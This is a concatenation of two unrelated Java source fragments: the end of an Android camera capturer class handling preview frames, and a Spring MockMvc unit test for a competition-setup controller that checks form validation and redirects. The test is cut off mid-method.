// Called on cameraThread so must not "synchronized".
@Override
public void onPreviewFrame(byte[] data, android.hardware.Camera callbackCamera) {
checkIsOnCameraThread();
if (!isCameraRunning.get()) {
Logging.e(TAG, "onPreviewFrame: Camera is stopped");
return;
}
if (!queuedBuffers.contains(data)) {
// |data| is an old invalid buffer.
return;
}
if (camera != callbackCamera) {
throw new RuntimeException("Unexpected camera in callback!");
}
final long captureTimeNs = TimeUnit.MILLISECONDS.toNanos(SystemClock.elapsedRealtime());
if (!firstFrameReported) {
onFirstFrameAvailable();
}
cameraStatistics.addFrame();
frameObserver.onByteBufferFrameCaptured(
data, captureFormat.width, captureFormat.height, getFrameOrientation(), captureTimeNs);
camera.addCallbackBuffer(data);
}
@Override
public void onTextureFrameAvailable(int oesTextureId, float[] transformMatrix, long timestampNs) {
checkIsOnCameraThread();
if (!isCameraRunning.get()) {
Logging.e(TAG, "onTextureFrameAvailable: Camera is stopped");
surfaceHelper.returnTextureFrame();
return;
}
int rotation = getFrameOrientation();
if (info.facing == android.hardware.Camera.CameraInfo.CAMERA_FACING_FRONT) {
// Undo the mirror that the OS "helps" us with.
// http://developer.android.com/reference/android/hardware/Camera.html#setDisplayOrientation(int)
transformMatrix =
RendererCommon.multiplyMatrices(transformMatrix, RendererCommon.horizontalFlipMatrix());
}
if (!firstFrameReported) {
onFirstFrameAvailable();
}
cameraStatistics.addFrame();
frameObserver.onTextureFrameCaptured(captureFormat.width, captureFormat.height, oesTextureId,
transformMatrix, rotation, timestampNs);
}
private void onFirstFrameAvailable() {
if (eventsHandler != null) {
eventsHandler.onFirstFrameAvailable();
}
final int startTimeMs =
(int) TimeUnit.NANOSECONDS.toMillis(System.nanoTime() - startStartTimeNs);
videoCapturerAndroidStartTimeMsHistogram.addSample(startTimeMs);
firstFrameReported = true;
}
@Override
public boolean isScreencast() {
return false;
}
}
|
package org.innovateuk.ifs.management.competition.setup;
import org.innovateuk.ifs.BaseControllerMockMVCTest;
import org.innovateuk.ifs.category.resource.InnovationAreaResource;
import org.innovateuk.ifs.category.resource.InnovationSectorResource;
import org.innovateuk.ifs.category.service.CategoryRestService;
import org.innovateuk.ifs.commons.error.Error;
import org.innovateuk.ifs.competition.publiccontent.resource.FundingType;
import org.innovateuk.ifs.competition.resource.*;
import org.innovateuk.ifs.competition.service.CompetitionRestService;
import org.innovateuk.ifs.competition.service.CompetitionSetupRestService;
import org.innovateuk.ifs.competition.service.TermsAndConditionsRestService;
import org.innovateuk.ifs.file.resource.FileEntryResource;
import org.innovateuk.ifs.management.competition.setup.completionstage.form.CompletionStageForm;
import org.innovateuk.ifs.management.competition.setup.core.form.CompetitionSetupForm;
import org.innovateuk.ifs.management.competition.setup.core.form.CompetitionSetupSummaryForm;
import org.innovateuk.ifs.management.competition.setup.core.form.TermsAndConditionsForm;
import org.innovateuk.ifs.management.competition.setup.core.service.CompetitionSetupService;
import org.innovateuk.ifs.management.competition.setup.fundinginformation.form.AdditionalInfoForm;
import org.innovateuk.ifs.management.competition.setup.initialdetail.form.InitialDetailsForm;
import org.innovateuk.ifs.management.competition.setup.initialdetail.populator.ManageInnovationLeadsModelPopulator;
import org.innovateuk.ifs.management.competition.setup.milestone.form.MilestonesForm;
import org.innovateuk.ifs.management.fixtures.CompetitionFundersFixture;
import org.innovateuk.ifs.user.service.UserRestService;
import org.innovateuk.ifs.user.service.UserService;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.InOrder;
import org.mockito.Mock;
import org.mockito.junit.MockitoJUnitRunner;
import org.springframework.context.support.DefaultMessageSourceResolvable;
import org.springframework.http.HttpStatus;
import org.springframework.mock.web.MockMultipartFile;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.validation.BindingResult;
import org.springframework.validation.Validator;
import java.time.ZoneId;
import java.time.ZonedDateTime;
import java.util.List;
import static java.lang.Boolean.FALSE;
import static java.lang.Boolean.TRUE;
import static java.lang.String.format;
import static java.util.Arrays.asList;
import static java.util.Collections.singletonList;
import static java.util.stream.Collectors.toList;
import static org.assertj.core.api.Assertions.assertThat;
import static org.hamcrest.CoreMatchers.is;
import static org.innovateuk.ifs.LambdaMatcher.createLambdaMatcher;
import static org.innovateuk.ifs.category.builder.InnovationAreaResourceBuilder.newInnovationAreaResource;
import static org.innovateuk.ifs.category.builder.InnovationSectorResourceBuilder.newInnovationSectorResource;
import static org.innovateuk.ifs.commons.error.CommonFailureKeys.COMPETITION_WITH_ASSESSORS_CANNOT_BE_DELETED;
import static org.innovateuk.ifs.commons.rest.RestResult.restSuccess;
import static org.innovateuk.ifs.commons.service.ServiceResult.serviceFailure;
import static org.innovateuk.ifs.commons.service.ServiceResult.serviceSuccess;
import static org.innovateuk.ifs.competition.builder.CompetitionResourceBuilder.newCompetitionResource;
import static org.innovateuk.ifs.competition.builder.CompetitionTypeResourceBuilder.newCompetitionTypeResource;
import static org.innovateuk.ifs.competition.builder.GrantTermsAndConditionsResourceBuilder.newGrantTermsAndConditionsResource;
import static org.innovateuk.ifs.competition.resource.ApplicationFinanceType.STANDARD;
import static org.innovateuk.ifs.controller.FileUploadControllerUtils.getMultipartFileBytes;
import static org.innovateuk.ifs.file.builder.FileEntryResourceBuilder.newFileEntryResource;
import static org.innovateuk.ifs.management.competition.setup.CompetitionSetupController.*;
import static org.innovateuk.ifs.user.builder.UserResourceBuilder.newUserResource;
import static org.innovateuk.ifs.user.resource.Role.COMP_ADMIN;
import static org.innovateuk.ifs.user.resource.Role.INNOVATION_LEAD;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.ArgumentMatchers.isA;
import static org.mockito.Mockito.*;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*;
/**
* Class for testing public functions of {@link CompetitionSetupController}
*/
@RunWith(MockitoJUnitRunner.Silent.class)
public class CompetitionSetupControllerTest extends BaseControllerMockMVCTest<CompetitionSetupController> {
private static final Long COMPETITION_ID = 12L;
private static final String URL_PREFIX = "/competition/setup";
@Mock
private CategoryRestService categoryRestService;
@Mock
private CompetitionSetupService competitionSetupService;
@Mock
private CompetitionSetupRestService competitionSetupRestService;
@Mock
private Validator validator;
@Mock
private ManageInnovationLeadsModelPopulator manageInnovationLeadsModelPopulator;
@Mock
private UserService userService;
@Mock
private UserRestService userRestService;
@Mock
private CompetitionRestService competitionRestService;
@Mock
private TermsAndConditionsRestService termsAndConditionsRestService;
@Override
protected CompetitionSetupController supplyControllerUnderTest() {
return new CompetitionSetupController();
}
@Before
public void setUp() {
when(userRestService.findByUserRole(COMP_ADMIN))
.thenReturn(
restSuccess(newUserResource()
.withFirstName("Comp")
.withLastName("Admin")
.build(1))
);
when(userRestService.findByUserRole(INNOVATION_LEAD))
.thenReturn(
restSuccess(newUserResource()
.withFirstName("Comp")
.withLastName("Technologist")
.build(1))
);
List<InnovationSectorResource> innovationSectorResources = newInnovationSectorResource()
.withName("A Innovation Sector")
.withId(1L)
.build(1);
when(categoryRestService.getInnovationSectors()).thenReturn(restSuccess(innovationSectorResources));
List<InnovationAreaResource> innovationAreaResources = newInnovationAreaResource()
.withName("A Innovation Area")
.withId(2L)
.withSector(1L)
.build(1);
when(categoryRestService.getInnovationAreas()).thenReturn(restSuccess(innovationAreaResources));
List<CompetitionTypeResource> competitionTypeResources = newCompetitionTypeResource()
.withId(1L)
.withName("Programme")
.withCompetitions(singletonList(COMPETITION_ID))
.build(1);
when(competitionRestService.getCompetitionTypes()).thenReturn(restSuccess(competitionTypeResources));
when(competitionSetupService.hasInitialDetailsBeenPreviouslySubmitted(COMPETITION_ID)).thenReturn(true);
}
@Test
public void initCompetitionSetupSection() throws Exception {
CompetitionResource competition = newCompetitionResource().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).build();
when(competitionSetupService.isCompetitionReadyToOpen(competition)).thenReturn(FALSE);
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(get(URL_PREFIX + "/" + COMPETITION_ID))
.andExpect(status().is2xxSuccessful())
.andExpect(view().name("competition/setup"))
.andExpect(model().attribute(SETUP_READY_KEY, FALSE))
.andExpect(model().attribute(READY_TO_OPEN_KEY, FALSE));
}
@Test
public void initCompetitionSetupSectionSetupComplete() throws Exception {
CompetitionResource competition = newCompetitionResource().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).build();
when(competitionSetupService.isCompetitionReadyToOpen(competition)).thenReturn(TRUE);
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(get(URL_PREFIX + "/" + COMPETITION_ID))
.andExpect(status().is2xxSuccessful())
.andExpect(view().name("competition/setup"))
.andExpect(model().attribute(SETUP_READY_KEY, TRUE))
.andExpect(model().attribute(READY_TO_OPEN_KEY, FALSE));
}
@Test
public void initCompetitionSetupSectionReadyToOpen() throws Exception {
CompetitionResource competition = newCompetitionResource().withCompetitionStatus(CompetitionStatus.READY_TO_OPEN).build();
when(competitionSetupService.isCompetitionReadyToOpen(competition)).thenReturn(FALSE);
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(get(URL_PREFIX + "/" + COMPETITION_ID))
.andExpect(status().is2xxSuccessful())
.andExpect(view().name("competition/setup"))
.andExpect(model().attribute(SETUP_READY_KEY, FALSE))
.andExpect(model().attribute(READY_TO_OPEN_KEY, TRUE));
}
@Test
public void editCompetitionSetupSectionInitial() throws Exception {
InitialDetailsForm competitionSetupInitialDetailsForm = new InitialDetailsForm();
competitionSetupInitialDetailsForm.setTitle("Test competition");
competitionSetupInitialDetailsForm.setCompetitionTypeId(2L);
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.withName("Test competition")
.withCompetitionCode("Code")
.withCompetitionType(2L)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
CompetitionSetupForm compSetupForm = mock(CompetitionSetupForm.class);
when(competitionSetupService.getSectionFormData(competition, CompetitionSetupSection.INITIAL_DETAILS))
.thenReturn(compSetupForm);
mockMvc.perform(get(URL_PREFIX + "/" + COMPETITION_ID + "/section/initial"))
.andExpect(status().isOk())
.andExpect(view().name("competition/setup"))
.andExpect(model().attribute("competitionSetupForm", compSetupForm));
verify(competitionSetupService).populateCompetitionSectionModelAttributes(
eq(competition),
any(),
eq(CompetitionSetupSection.INITIAL_DETAILS)
);
}
@Test
public void setSectionAsIncomplete() throws Exception {
CompetitionResource competition = newCompetitionResource().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).withName(
"Test competition").withCompetitionCode("Code").withCompetitionType(2L).build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupRestService.markSectionIncomplete(anyLong(),
any(CompetitionSetupSection.class))).thenReturn(restSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/initial/edit"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(URL_PREFIX + "/" + COMPETITION_ID + "/section/initial"));
}
@Test
public void generateCompetitionCode() throws Exception {
ZonedDateTime time = ZonedDateTime.of(2016, 12, 1, 0, 0, 0, 0, ZoneId.systemDefault());
CompetitionResource competition = newCompetitionResource()
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.withName("Test competition")
.withCompetitionCode("Code")
.withCompetitionType(2L)
.withStartDate(time)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupRestService.generateCompetitionCode(COMPETITION_ID, time))
.thenReturn(restSuccess("1612-1"));
mockMvc.perform(get(URL_PREFIX + "/" + COMPETITION_ID + "/generateCompetitionCode?day=01&month=12&year=2016"))
.andExpect(status().isOk())
.andExpect(jsonPath("message", is("1612-1")));
}
@Test
public void submitUnrestrictedSectionInitialDetailsInvalidWithRequiredFieldsEmpty() throws Exception {
CompetitionResource competition = newCompetitionResource().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
MvcResult mvcResult = mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/initial")
.param("unrestricted", "1"))
.andExpect(status().isOk())
.andExpect(model().hasErrors())
.andExpect(model().attributeHasFieldErrors(
COMPETITION_SETUP_FORM_KEY,
"executiveUserId",
"title",
"innovationLeadUserId",
"openingDate",
"innovationSectorCategoryId",
"innovationAreaCategoryIds",
"competitionTypeId",
"fundingRule"))
.andExpect(view().name("competition/setup"))
.andReturn();
InitialDetailsForm initialDetailsForm = (InitialDetailsForm) mvcResult.getModelAndView().getModel()
.get(COMPETITION_SETUP_FORM_KEY);
BindingResult bindingResult = initialDetailsForm.getBindingResult();
bindingResult.getAllErrors();
assertEquals(0, bindingResult.getGlobalErrorCount());
assertEquals(10, bindingResult.getFieldErrorCount());
assertTrue(bindingResult.hasFieldErrors("executiveUserId"));
assertEquals(
"Please select a Portfolio Manager.",
bindingResult.getFieldError("executiveUserId").getDefaultMessage()
);
assertTrue(bindingResult.hasFieldErrors("title"));
assertEquals(
"Please enter a title.",
bindingResult.getFieldError("title").getDefaultMessage()
);
assertTrue(bindingResult.hasFieldErrors("innovationLeadUserId"));
assertEquals(
"Please select an Innovation Lead.",
bindingResult.getFieldError("innovationLeadUserId").getDefaultMessage());
assertEquals(bindingResult.getFieldErrorCount("openingDate"), 2);
List<String> errorsOnOpeningDate = bindingResult.getFieldErrors("openingDate").stream()
.map(fieldError -> fieldError.getDefaultMessage()).collect(toList());
assertTrue(errorsOnOpeningDate.contains("Please enter a valid date."));
assertTrue(errorsOnOpeningDate.contains("Please enter a future date."));
assertTrue(bindingResult.hasFieldErrors("innovationSectorCategoryId"));
assertEquals(
"Please select an innovation sector.",
bindingResult.getFieldError("innovationSectorCategoryId").getDefaultMessage()
);
assertTrue(bindingResult.hasFieldErrors("innovationAreaCategoryIds"));
assertEquals(
"Please select an innovation area.",
bindingResult.getFieldError("innovationAreaCategoryIds").getDefaultMessage());
assertTrue(bindingResult.hasFieldErrors("competitionTypeId"));
assertEquals(
"Please select a competition type.",
bindingResult.getFieldError("competitionTypeId").getDefaultMessage()
);
assertEquals(
"Enter a valid funding type.",
bindingResult.getFieldError("fundingType").getDefaultMessage()
);
assertEquals(
"validation.initialdetailsform.stateaid.required",
bindingResult.getFieldError("fundingRule").getCode()
);
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void submitSectionInitialDetailsInvalidWithRequiredFieldsEmpty() throws Exception {
CompetitionResource competition = newCompetitionResource().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
MvcResult mvcResult = mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/initial"))
.andExpect(status().isOk())
.andExpect(model().hasErrors())
.andExpect(model().attributeHasFieldErrors(
COMPETITION_SETUP_FORM_KEY,
"executiveUserId",
"title",
"innovationLeadUserId",
"openingDate",
"innovationSectorCategoryId",
"innovationAreaCategoryIds"
))
.andExpect(view().name("competition/setup"))
.andReturn();
InitialDetailsForm initialDetailsForm = (InitialDetailsForm) mvcResult.getModelAndView().getModel()
.get(COMPETITION_SETUP_FORM_KEY);
BindingResult bindingResult = initialDetailsForm.getBindingResult();
bindingResult.getAllErrors();
assertEquals(0, bindingResult.getGlobalErrorCount());
assertEquals(6, bindingResult.getFieldErrorCount());
assertTrue(bindingResult.hasFieldErrors("executiveUserId"));
assertEquals(
"Please select a Portfolio Manager.",
bindingResult.getFieldError("executiveUserId").getDefaultMessage()
);
assertTrue(bindingResult.hasFieldErrors("title"));
assertEquals(
"Please enter a title.",
bindingResult.getFieldError("title").getDefaultMessage()
);
assertTrue(bindingResult.hasFieldErrors("innovationLeadUserId"));
assertEquals(
"Please select an Innovation Lead.",
bindingResult.getFieldError("innovationLeadUserId").getDefaultMessage()
);
assertTrue(bindingResult.hasFieldErrors("openingDate"));
assertEquals(
"Please enter a valid date.",
bindingResult.getFieldError("openingDate").getDefaultMessage()
);
assertTrue(bindingResult.hasFieldErrors("innovationSectorCategoryId"));
assertEquals(
"Please select an innovation sector.",
bindingResult.getFieldError("innovationSectorCategoryId").getDefaultMessage()
);
assertTrue(bindingResult.hasFieldErrors("innovationAreaCategoryIds"));
assertEquals(
"Please select an innovation area.",
bindingResult.getFieldError("innovationAreaCategoryIds").getDefaultMessage()
);
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void submitUnrestrictedSectionInitialDetailsWithInvalidOpenDate() throws Exception {
CompetitionResource competition = newCompetitionResource().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
Integer invalidDateDay = 1;
Integer invalidDateMonth = 1;
Integer invalidDateYear = 1999;
MvcResult mvcResult = mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/initial")
.param("executiveUserId", "1")
.param("openingDateDay", invalidDateDay.toString())
.param("openingDateMonth", invalidDateMonth.toString())
.param("openingDateYear", invalidDateYear.toString())
.param("innovationSectorCategoryId", "1")
.param("innovationAreaCategoryIds", "1", "2", "3")
.param("competitionTypeId", "1")
.param("fundingType", FundingType.GRANT.name())
.param("innovationLeadUserId", "1")
.param("title", "My competition")
.param("unrestricted", "1")
.param("fundingRule", FundingRules.STATE_AID.name()))
.andExpect(status().isOk())
.andExpect(model().hasErrors())
.andExpect(model().errorCount(1))
.andExpect(model().attributeHasFieldErrors(COMPETITION_SETUP_FORM_KEY, "openingDate"))
.andExpect(view().name("competition/setup"))
.andReturn();
InitialDetailsForm initialDetailsForm = (InitialDetailsForm) mvcResult.getModelAndView().getModel()
.get(COMPETITION_SETUP_FORM_KEY);
assertEquals(new Long(1L), initialDetailsForm.getExecutiveUserId());
assertEquals(invalidDateDay, initialDetailsForm.getOpeningDateDay());
assertEquals(invalidDateMonth, initialDetailsForm.getOpeningDateMonth());
assertEquals(invalidDateYear, initialDetailsForm.getOpeningDateYear());
assertEquals(new Long(1L), initialDetailsForm.getInnovationSectorCategoryId());
assertEquals(asList(1L, 2L, 3L), initialDetailsForm.getInnovationAreaCategoryIds());
assertEquals(new Long(1L), initialDetailsForm.getCompetitionTypeId());
assertEquals(new Long(1L), initialDetailsForm.getInnovationLeadUserId());
assertEquals("My competition", initialDetailsForm.getTitle());
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void submitUnrestrictedSectionInitialDetailsWithInvalidFieldsExceedRangeMax() throws Exception {
CompetitionResource competition = newCompetitionResource().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
Integer invalidDateDay = 32;
Integer invalidDateMonth = 13;
Integer invalidDateYear = 10000;
MvcResult mvcResult = mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/initial")
.param("executiveUserId", "1")
.param("openingDateDay", invalidDateDay.toString())
.param("openingDateMonth", invalidDateMonth.toString())
.param("openingDateYear", invalidDateYear.toString())
.param("innovationSectorCategoryId", "1")
.param("innovationAreaCategoryIds", "1", "2", "3")
.param("competitionTypeId", "1")
.param("fundingType", FundingType.GRANT.name())
.param("innovationLeadUserId", "1")
.param("title", "My competition")
.param("unrestricted", "1")
.param("fundingRule", FundingRules.STATE_AID.name()))
.andExpect(status().isOk())
.andExpect(model().hasErrors())
.andExpect(model().attributeHasFieldErrors(COMPETITION_SETUP_FORM_KEY, "openingDate"))
.andExpect(view().name("competition/setup"))
.andReturn();
InitialDetailsForm initialDetailsForm = (InitialDetailsForm) mvcResult.getModelAndView().getModel()
.get(COMPETITION_SETUP_FORM_KEY);
assertEquals(new Long(1L), initialDetailsForm.getExecutiveUserId());
assertEquals(invalidDateDay, initialDetailsForm.getOpeningDateDay());
assertEquals(invalidDateMonth, initialDetailsForm.getOpeningDateMonth());
assertEquals(invalidDateYear, initialDetailsForm.getOpeningDateYear());
assertEquals(new Long(1L), initialDetailsForm.getInnovationSectorCategoryId());
assertEquals(asList(1L, 2L, 3L), initialDetailsForm.getInnovationAreaCategoryIds());
assertEquals(new Long(1L), initialDetailsForm.getCompetitionTypeId());
assertEquals(new Long(1L), initialDetailsForm.getInnovationLeadUserId());
assertEquals("My competition", initialDetailsForm.getTitle());
BindingResult bindingResult = initialDetailsForm.getBindingResult();
assertEquals(0, bindingResult.getGlobalErrorCount());
assertEquals(2, bindingResult.getFieldErrorCount());
assertTrue(bindingResult.hasFieldErrors("openingDate"));
List<String> errorsOnOpeningDate = bindingResult.getFieldErrors("openingDate").stream()
.map(fieldError -> fieldError.getDefaultMessage()).collect(toList());
assertTrue(errorsOnOpeningDate.contains("Please enter a valid date."));
assertTrue(errorsOnOpeningDate.contains("Please enter a future date."));
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void submitUnrestrictedSectionInitialDetailsWithInvalidFieldsExceedRangeMin() throws Exception {
CompetitionResource competition = newCompetitionResource().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
Integer invalidDateDay = 0;
Integer invalidDateMonth = 0;
Integer invalidDateYear = 1899;
MvcResult mvcResult = mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/initial")
.param("executiveUserId", "1")
.param("openingDateDay", invalidDateDay.toString())
.param("openingDateMonth", invalidDateMonth.toString())
.param("openingDateYear", invalidDateYear.toString())
.param("innovationSectorCategoryId", "1")
.param("innovationAreaCategoryIds", "1", "2", "3")
.param("competitionTypeId", "1")
.param("fundingType", FundingType.GRANT.name())
.param("innovationLeadUserId", "1")
.param("title", "My competition")
.param("unrestricted", "1"))
.andExpect(status().isOk())
.andExpect(model().attributeHasFieldErrors(COMPETITION_SETUP_FORM_KEY, "openingDate"))
.andExpect(view().name("competition/setup"))
.andReturn();
InitialDetailsForm initialDetailsForm = (InitialDetailsForm) mvcResult.getModelAndView().getModel()
.get(COMPETITION_SETUP_FORM_KEY);
BindingResult bindingResult = initialDetailsForm.getBindingResult();
assertEquals(new Long(1L), initialDetailsForm.getExecutiveUserId());
assertEquals(invalidDateDay, initialDetailsForm.getOpeningDateDay());
assertEquals(invalidDateMonth, initialDetailsForm.getOpeningDateMonth());
assertEquals(invalidDateYear, initialDetailsForm.getOpeningDateYear());
assertEquals(new Long(1L), initialDetailsForm.getInnovationSectorCategoryId());
assertEquals(asList(1L, 2L, 3L), initialDetailsForm.getInnovationAreaCategoryIds());
assertEquals(new Long(1L), initialDetailsForm.getCompetitionTypeId());
assertEquals(new Long(1L), initialDetailsForm.getInnovationLeadUserId());
assertEquals("My competition", initialDetailsForm.getTitle());
bindingResult.getAllErrors();
assertEquals(0, bindingResult.getGlobalErrorCount());
assertEquals(2, bindingResult.getFieldErrorCount("openingDate"));
List<String> errorsOnOpeningDate = bindingResult.getFieldErrors("openingDate").stream()
.map(DefaultMessageSourceResolvable::getDefaultMessage).collect(toList());
assertTrue(errorsOnOpeningDate.contains("Please enter a valid date."));
assertTrue(errorsOnOpeningDate.contains("Please enter a future date."));
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void submitSectionInitialDetailsWithoutErrors() throws Exception {
String redirectUrl = String.format( "%s/%s/section/initial", URL_PREFIX, COMPETITION_ID);
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionSetupService.hasInitialDetailsBeenPreviouslySubmitted(COMPETITION_ID)).thenReturn(Boolean.FALSE);
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupService.getNextSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.INITIAL_DETAILS))
).thenReturn(serviceSuccess(String.format("redirect:%s", redirectUrl)));
when(competitionSetupService.saveCompetitionSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.INITIAL_DETAILS))
)
.thenReturn(serviceSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/initial")
.param("executiveUserId", "1")
.param("openingDateDay", "10")
.param("openingDateMonth", "10")
.param("openingDateYear", "2100")
.param("innovationSectorCategoryId", "1")
.param("innovationAreaCategoryIds", "1", "2", "3")
.param("competitionTypeId", "1")
.param("fundingType", FundingType.GRANT.name())
.param("innovationLeadUserId", "1")
.param("title", "My competition")
.param("stateAid", "true"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(redirectUrl));
verify(competitionSetupService).getNextSetupSection(isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.INITIAL_DETAILS));
verify(competitionSetupService).saveCompetitionSetupSection(isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.INITIAL_DETAILS));
}
@Test
public void submitSectionDetails_redirectsIfInitialDetailsIncomplete() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupService.hasInitialDetailsBeenPreviouslySubmitted(COMPETITION_ID)).thenReturn(Boolean.FALSE);
List<CompetitionSetupSection> sections = asList(
CompetitionSetupSection.ADDITIONAL_INFO,
CompetitionSetupSection.PROJECT_ELIGIBILITY,
CompetitionSetupSection.COMPLETION_STAGE,
CompetitionSetupSection.MILESTONES,
CompetitionSetupSection.APPLICATION_FORM,
CompetitionSetupSection.ASSESSORS
);
for (CompetitionSetupSection section : sections) {
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/" + section.getPath()))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl("/competition/setup/" + competition.getId()));
}
}
@Test
public void submitSectionEligibilityWithErrors() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/project-eligibility"))
.andExpect(status().isOk())
.andExpect(view().name("competition/setup"));
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void submitSectionEligibilityWithoutErrors() throws Exception {
String redirectUrl = String.format("%s/%s/section/project-eligibility", URL_PREFIX, COMPETITION_ID);
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupService.getNextSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY))
).thenReturn(serviceSuccess(String.format("redirect:%s", redirectUrl)));
when(competitionSetupService.saveCompetitionSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY))
)
.thenReturn(serviceSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/project-eligibility")
.param("multipleStream", "yes")
.param("streamName", "stream")
.param("researchCategoryId", "1", "2", "3")
.param("researchCategoriesApplicable", "true")
.param("singleOrCollaborative", "collaborative")
.param("leadApplicantTypes", "1", "2", "3")
.param("researchParticipationAmountId", "1")
.param("resubmission", "yes")
.param("overrideFundingRules", "false"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(redirectUrl));
verify(competitionSetupService).getNextSetupSection(isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY));
verify(competitionSetupService).saveCompetitionSetupSection(isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY));
}
@Test
public void submitSectionEligibilityWithoutStreamName() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/project-eligibility")
.param("multipleStream", "yes")
.param("streamName", "")
.param("researchCategoryId", "1", "2", "3")
.param("singleOrCollaborative", "collaborative")
.param("leadApplicantTypes", "1")
.param("researchParticipationAmountId", "1")
.param("resubmission", "yes")
.param("overrideFundingRules", "false"))
.andExpect(status().isOk())
.andExpect(view().name("competition/setup"))
.andExpect(model().attributeHasFieldErrors("competitionSetupForm", "streamName"));
verify(competitionSetupService, never()).saveCompetitionSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY)
);
}
@Test
public void submitSectionEligibilityFailsWithoutResearchParticipationIfCompetitionHasFullApplicationFinance() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.withApplicationFinanceType(STANDARD)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/project-eligibility")
.param("multipleStream", "yes")
.param("streamName", "stream")
